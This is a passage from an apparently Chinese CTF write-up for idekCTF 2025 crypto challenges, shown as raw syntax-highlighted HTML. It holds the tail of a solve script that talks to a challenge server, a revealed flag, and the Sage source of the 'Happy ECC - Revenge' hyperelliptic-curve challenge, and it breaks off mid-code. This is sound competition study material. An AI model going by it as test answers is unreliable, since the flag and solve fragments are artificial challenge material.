str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">points</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> +</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvall</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># idek{the_idea_came_from_a_Vietnamese_high_school_Mathematical_Olympiad_competition_xD_sorry_for_unintended_:sob:_75f492115a34ff4324212e09e24aa5bd}</span></span></code></pre><h2 id="happy-ecc-revenge">Happy ECC - Revenge</h2> <blockquote> <p>后面上了复仇，需要用不带复仇的 flag 解密附件，但做出这道题的哥们把脚本删了，就用他提到的函数自己写了个，挂后台不抱希望结果出了，难绷</p> </blockquote> <p><img src="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/img/happy_ecc.png" alt="" /></p> <p>复仇的题目依旧没什么区别，看来是按照预期解做的</p> <p>diff 下发现是加了一点点判断，暂时懒得放截图了</p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># chall.py </span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> sage</span><span class="z-punctuation">.</span><span class="z-source">all</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> Crypto</span><span class="z-punctuation">.</span><span class="z-source">Util</span><span class="z-punctuation">.</span><span class="z-source">number</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Edited a bit from https://github.com/aszepieniec/hyperelliptic/blob/master/hyperelliptic.sage</span></span> <span class="giallo-l"><span class="z-storage z-type">class</span><span class="z-entity z-name z-type"> HyperellipticCurveElement</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __init__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> curve</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> U</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> V</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">curve</span><span class="z-keyword z-operator"> =</span><span class="z-source"> curve</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">U</span><span class="z-keyword z-operator"> =</span><span class="z-source"> U</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">V</span><span class="z-keyword z-operator"> =</span><span class="z-source"> V</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-decorator z-python"> @</span><span class="z-support z-type z-python">staticmethod</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> Cantor</span><span class="z-punctuation">(</span><span class="z-variable z-parameter"> curve</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> U1</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> V1</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> U2</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> V2</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 1.</span></span> <span class="giallo-l"><span class="z-source"> g</span><span class="z-punctuation">,</span><span class="z-source"> a</span><span class="z-punctuation">,</span><span class="z-source"> b</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> xgcd</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">U1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> U2</span><span class="z-punctuation">)</span><span class="z-punctuation z-definition z-comment z-comment"> # a*U1 + b*U2 == g</span></span> <span class="giallo-l"><span class="z-source"> d</span><span class="z-punctuation">,</span><span class="z-source"> c</span><span class="z-punctuation">,</span><span class="z-source"> h3</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> xgcd</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">g</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> V1</span><span class="z-keyword z-operator">+</span><span class="z-meta z-function-call z-arguments z-python">V2</span><span class="z-punctuation">)</span><span class="z-punctuation z-definition z-comment z-comment"> # c*g + h3*(V1+V2) = d</span></span> <span class="giallo-l"><span class="z-source"> h2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> c</span><span class="z-keyword z-operator">*</span><span class="z-source">b</span></span> <span class="giallo-l"><span class="z-source"> h1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> c</span><span class="z-keyword z-operator">*</span><span class="z-source">a</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # h1 * U1 + h2 * U2 + h3 * (V1+V2) = d = gcd(U1, U2, V1-V2)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 2.</span></span> <span class="giallo-l"><span class="z-source"> V0</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-source">U1</span><span class="z-keyword z-operator"> *</span><span class="z-source"> V2</span><span class="z-keyword z-operator"> *</span><span class="z-source"> h1</span><span class="z-keyword z-operator"> +</span><span class="z-source"> U2</span><span class="z-keyword z-operator"> *</span><span class="z-source"> V1</span><span class="z-keyword z-operator"> *</span><span class="z-source"> h2</span><span class="z-keyword z-operator"> +</span><span class="z-punctuation"> (</span><span class="z-source">V1</span><span class="z-keyword z-operator">*</span><span class="z-source">V2</span><span class="z-keyword z-operator"> +</span><span class="z-source"> curve</span><span class="z-punctuation">.</span><span class="z-source">f</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> *</span><span class="z-source"> h3</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">quo_rem</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">d</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-keyword z-operator"> =</span><span class="z-source"> U1</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">parent</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> V0</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">V0</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 3.</span></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-source">U1</span><span class="z-keyword z-operator"> *</span><span class="z-source"> U2</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">quo_rem</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">d</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">U</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> V</span><span class="z-keyword z-operator"> =</span><span class="z-source"> V0</span><span class="z-keyword z-operator"> %</span><span class="z-source"> U</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> U</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">degree</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> &gt;</span><span class="z-source"> curve</span><span class="z-punctuation">.</span><span class="z-source">genus</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 4.</span></span> <span class="giallo-l"><span class="z-source"> U_</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-source">curve</span><span class="z-punctuation">.</span><span class="z-source">f</span><span class="z-keyword z-operator"> -</span><span class="z-source"> V</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">quo_rem</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">U</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> U_</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">U_</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> V_</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-keyword z-operator">-</span><span class="z-source">V</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">quo_rem</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">U_</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 5.</span></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-punctuation">,</span><span class="z-source"> V</span><span class="z-keyword z-operator"> =</span><span class="z-source"> U_</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">monic</span><span class="z-punctuation">(),</span><span class="z-source"> V_</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # (6.)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 7.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> U</span><span class="z-punctuation">,</span><span class="z-source"> V</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> parent</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">curve</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __add__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> other</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-punctuation">,</span><span class="z-source"> V</span><span class="z-keyword z-operator"> =</span><span class="z-source"> HyperellipticCurveElement</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">Cantor</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">curve</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">U</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">V</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> other</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">U</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> other</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">V</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> HyperellipticCurveElement</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">curve</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> U</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> V</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> inverse</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> HyperellipticCurveElement</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">curve</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">U</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">V</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __rmul__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> exp</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">U</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">parent</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> I</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> HyperellipticCurveElement</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">curve</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> exp</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> HyperellipticCurveElement</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">curve</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-python"> R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> exp</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-variable z-language z-special z-self z-python"> self</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> acc</span><span class="z-keyword z-operator"> =</span><span class="z-source"> I</span></span> <span class="giallo-l"><span class="z-source"> Q</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> exp</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> exp</span><span class="z-keyword z-operator"> &amp;</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> acc</span><span class="z-keyword z-operator"> =</span><span class="z-source"> acc</span><span class="z-keyword z-operator"> +</span><span class="z-source"> Q</span></span> <span class="giallo-l"><span class="z-source"> Q</span><span class="z-keyword z-operator"> =</span><span class="z-source"> Q</span><span class="z-keyword z-operator"> +</span><span class="z-source"> Q</span></span> <span class="giallo-l"><span class="z-source"> exp</span><span class="z-keyword z-operator"> &gt;&gt;=</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> acc</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __eq__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> other</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">curve</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">curve</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">V</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">V</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">U</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">U</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-constant z-language z-python"> True</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-constant z-language z-python"> False</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type">class</span><span class="z-entity z-name z-type"> HyperellipticCurve_</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __init__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> f</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">R</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">parent</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">F</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">R</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">base_ring</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">R</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">gen</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">f</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">genus</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> floor</span><span class="z-punctuation">((</span><span class="z-meta z-function-call z-arguments z-python">f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">degree</span><span class="z-punctuation">()</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> /</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> identity</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> HyperellipticCurveElement</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">),</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> random_element</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python"> self</span><span class="z-punctuation"> ):</span></span> <span class="giallo-l"><span class="z-source"> roots</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">roots</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> !=</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">genus</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> xi</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">F</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">random_element</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> yi2</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">f</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">xi</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python"> if not</span><span class="z-source"> yi2</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">is_square</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> continue</span></span> <span class="giallo-l"><span class="z-source"> roots</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">xi</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> roots</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> list</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">set</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">roots</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source"> signs</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-meta z-function-call z-python">ZZ</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">Integers</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">random_element</span><span class="z-punctuation">())</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> r</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> roots</span><span class="z-punctuation">]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> r</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> roots</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> U</span><span class="z-keyword z-operator"> =</span><span class="z-source"> U</span><span class="z-keyword z-operator"> *</span><span class="z-punctuation"> (</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> r</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> V</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">roots</span><span class="z-punctuation">)):</span></span> <span class="giallo-l"><span class="z-source"> y</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> (</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">ZZ</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">Integers</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">random_element</span><span class="z-punctuation">()))</span><span class="z-keyword z-operator"> *</span><span class="z-meta z-function-call z-python"> sqrt</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">f</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">roots</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">]))</span></span> <span class="giallo-l"><span class="z-source"> lagrange</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">R</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> j</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">roots</span><span class="z-punctuation">)):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> j</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> i</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> continue</span></span> <span class="giallo-l"><span class="z-source"> lagrange</span><span class="z-keyword z-operator"> =</span><span class="z-source"> lagrange</span><span class="z-keyword z-operator"> *</span><span class="z-punctuation"> (</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-meta z-indexed-name z-python"> roots</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">j</span><span class="z-punctuation">])</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">roots</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">i</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> -</span><span class="z-meta z-indexed-name z-python"> roots</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">j</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-source"> V</span><span class="z-keyword z-operator"> +=</span><span class="z-source"> y</span><span class="z-keyword z-operator"> *</span><span class="z-source"> lagrange</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> HyperellipticCurveElement</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> U</span><span 